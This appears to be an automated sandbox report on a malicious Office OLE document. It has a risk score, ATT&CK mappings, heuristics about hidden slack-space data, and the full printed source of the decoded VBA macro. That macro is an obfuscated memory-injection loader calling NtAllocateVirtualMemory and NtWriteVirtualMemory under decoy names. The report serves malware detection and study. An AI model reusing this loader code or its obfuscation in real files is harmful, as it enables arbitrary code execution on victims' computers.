MALICIOUS
62
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059 Command and Scripting Interpreter
T1203 Exploitation for Client Execution
The sample is an OLE document with a large slack region and detected VBA macros. The VBA macro uses obfuscated API calls to NtAllocateVirtualMemory and NtWriteVirtualMemory, suggesting an attempt to inject code or download and execute a payload. The presence of these low-level memory manipulation functions indicates a malicious intent to execute arbitrary code.
Heuristics 3
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OLE document has large unaccounted-for region high OLE_SLACK_ANOMALYOLE file is 226,816 bytes but its declared streams total only 130,531 bytes — 96,285 bytes (42%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
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VBA macros detected medium OLE_VBA_MACROSDocument contains VBA macro code
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
- http://ns.adobe.com/camera-raw-settings/1.0/In document text (OLE body)
- http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4020 bytes |
SHA-256: 894944c08cd7f0470af7c6980f275875f9f61bcb5aba5a8638d6c1011d796979 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "fibrocalcific"
Attribute VB_Base = "0{D1A41147-D1BC-48A6-A747-EC98288049D8}{F7027132-9AB3-41CA-A853-70DAC500FE9C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "pollitra"
#If (13 * 3 + 5) > (8 - 3 * 1) And Not (88 - 11 * 8) * 30 < (Win64) Then
' I dont know who he is
' Dont die before I do
Public Declare Function slyness _
Lib "Ntdll " Alias _
"NtAllocateVirtualMemory" (predict As Long, nonobservance As Long, ByVal drapery As Long, unpretentiouslyByVal As Long, abulic As Long, ByVal biauricular As Long) As Long
' I know that you exist
' irgendwer mich liebt
Public Declare Function byword Lib "Shlwapi.dll " Alias "GetOverlappedResult" (ByVal battles As Any, impolicy As Any, fatty As Any, dukes As Any) As Long
' His passion is a kiss
' Ich weine leise in die Zeit
#End If
' Ich warte hier
' His passion is a kiss
#If (13 * 3 + 5) > (8 - 3 * 1) And (88 - 11 * 8) * 30 < (Win64) Then
' Doch ich weiß dass es dich gibt
' Sometimes love seems so far
Public Declare PtrSafe Function abet Lib "Shlwapi.dll " Alias "GetOverlappedResult" (ByVal caesura As Any, bluecollar As Any, lachnolaimus As Any, beautifully As Any) As LongPtr
' Stirb nicht
' Ich warte hier
Public Declare PtrSafe Function jauntily _
Lib "ntdll " Alias _
"NtWriteVirtualMemory" (ByVal adnexa As Any, ByVal cockcrowing As Any, ByVal denying As Any, ByVal overenthusiastic As Any, ByVal cladorhyncus As Any) As LongPtr
' Dont die before I do
' Your love I can't dismiss
Public Declare PtrSafe Function slyness _
Lib "ntdll " Alias _
"NtAllocateVirtualMemory" (castor As LongPtr, platoon As LongPtr, ByVal hindi As LongPtr, altricialByVal As LongPtr, beatific As LongPtr, ByVal trichechidae As LongPtr) As LongPtr
' Your love I can't dismiss
' Ich warte hier
#End If
' I dont know who you are
' Stirb nicht
Function astragal(pfennig, tambourine, anglocatholic)
#If (7 * 4 + 5) > (7 - 2 * 1) And (20 - 5 * 4) * 2 < (Win64) Then
Dim accidental As LongPtr
Dim meagerness As LongPtr
Dim adductor As LongPtr
Dim poignancy As LongPtr
Dim mapinguari As LongPtr
#End If
#If (105 - 82 + 377 + 74 - 27 + 253) > ((91 - 23 + 252) - (101 - 87 + 526) * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim meagerness As Long
Dim accidental As Long
Dim poignancy As Long
Dim adductor As Long
Dim mapinguari As Long
Dim acholia As Byte
#End If
meagerness = pfennig
mapinguari = anglocatholic
poignancy = tambourine
debonnaire = 17 + 40
Pmt 0, debonnaire, 34289, 12374, 2
accidental = 44 - 61 + 16
jauntily ByVal accidental, _
meagerness, poignancy, mapinguari, _
adductor
mockingbird = quietus
End Function
Function scrap(ed)
Dim quaggy As Byte
Dim conglomerate As Byte
Dim cordaites As Integer
Dim holystone As Integer
#If (105 - 82 + 377 + 74 - 27 + 253) > ((91 - 23 + 252) - (101 - 87 + 526) * 1) And (21 - 7 * 3) * 2 < (Win64) Then
Dim descending As Variant
Dim outfit As LongPtr
azygous = 83 - 128 + 53
Dim grapey As LongPtr
Dim decorously As String
Dim biprism As Byte
Dim mechanized As LongPtr
Dim romanorum As Long
#End If
#If (105 - 82 + 377 + 74 - 27 + 253) > ((91 - 23 + 252) - (101 - 87 + 526) * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim outfit As Long
azygous = 120 - 122 + 6
Dim grapey As Long
Dim mechanized As Long
#End If
gomorrah = VarPtr(outfit)
nimblefooted = astragal(gomorrah, VarPtr(ed) + 8, azygous)
inquiringly = 98 - 98 - 1
grapey = 24 - 93 + 69
smallscale = 83 - 62 - 21
mechanized = 42 - 58 + 9469
officeholder = 4 - 95 + 4187
cadit = 66 - 55 + 53
faction = slyness(ByVal inquiringly, _
grapey, ByVal smallscale, mechanized, ByVal officeholder, _
ByVal cadit)
quietus = briticism
astragal grapey, outfit, 15 - 37 + 5905
jamboree = 10 + 54
Pmt 0, jamboree, 9258, 30308, 2
scrap = grapey
End Function
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